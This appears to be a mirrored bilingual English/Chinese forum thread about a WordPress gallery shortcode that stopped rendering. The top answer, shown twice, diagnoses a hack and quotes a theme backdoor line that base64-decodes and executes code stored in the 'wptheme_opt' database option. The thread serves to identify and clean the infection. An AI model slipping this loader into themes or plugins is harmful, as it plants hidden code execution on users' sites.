Everything was fine, until recent updates. [gallery]
is not showing images anymore, and it also looks like it is not contained in code.
一切都很好,直到最近的更新。 [gallery]不再显示图像了,它看起来也没有包含在代码中。
Here is the loop for page:
这是页面的循环:
<?php
// Start the loop.
while ( have_posts() ) : the_post();?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
<h1 class="entry-title"><?php the_title(); ?></h1>
<div class="entry-content">
<?php the_content(); ?>
</div><!-- .entry-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
// End the loop.
endwhile;
?>
Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).
来自the_content的文本内容正在显示,但内容中的[gallery]未显示或呈现为代码(因此问题不应出现在javascript中)。
And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)
这里是functions.php文件:http://pastebin.com/vfJpphgt(是的,我添加了画廊的主题支持,但没有变化)
3 个解决方案
#1
1
You're site got hacked.
你的网站被黑了。
The last line of the pastebin is loading malicious code from your database: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
pastebin的最后一行是从数据库中加载恶意代码:add_action('init',create_function('',implode(“\ n”,array_map(“base64_decode”,unserialize(get_option(“wptheme_opt”))))) ); ?>
The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery]
is broken. (Actually you can be lucky about that part.)
执行的代码将搞乱WPQuery以检索您的Gallery媒体文件。这就是[画廊]被打破的原因。 (事实上,你可以幸运的是那部分。)
You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.
你可以在sucuri.net找到关于这个恶意软件的条目。您应检查服务器上的所有文件是否存在可疑行。虽然最可能的攻击途径是通过WordPress漏洞,但您应该在WordPress和服务器上更改所有密码。
AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).
删除恶意软件后,您可以使用Wordfence等工具清理WordPress(我与插件或其作者没有任何关系)。
#2
1
try to install the plugin NextGEN Gallery, add the gallery images,and try to display on home page,
尝试安装插件NextGEN Gallery,添加图库图片,并尝试在主页上显示,
https://wordpress.org/plugins/nextgen-gallery/
#3
-1
do you see any javascript errors in console ? and what is output of
你在控制台看到任何javascript错误?什么是输出
<?php echo do_shortcode('[gallery]');?>
#1
1
You're site got hacked.
你的网站被黑了。
The last line of the pastebin is loading malicious code from your database: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
pastebin的最后一行是从数据库中加载恶意代码:add_action('init',create_function('',implode(“\ n”,array_map(“base64_decode”,unserialize(get_option(“wptheme_opt”))))) ); ?>
The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery]
is broken. (Actually you can be lucky about that part.)
执行的代码将搞乱WPQuery以检索您的Gallery媒体文件。这就是[画廊]被打破的原因。 (事实上,你可以幸运的是那部分。)
You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.
你可以在sucuri.net找到关于这个恶意软件的条目。您应检查服务器上的所有文件是否存在可疑行。虽然最可能的攻击途径是通过WordPress漏洞,但您应该在WordPress和服务器上更改所有密码。
AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).
删除恶意软件后,您可以使用Wordfence等工具清理WordPress(我与插件或其作者没有任何关系)。
#2
1
try to install the plugin NextGEN Gallery, add the gallery images,and try to display on home page,
尝试安装插件NextGEN Gallery,添加图库图片,并尝试在主页上显示,
https://wordpress.org/plugins/nextgen-gallery/
#3
-1
do you see any javascript errors in console ? and what is output of
你在控制台看到任何javascript错误?什么是输出
<?php echo do_shortcode('[gallery]');?>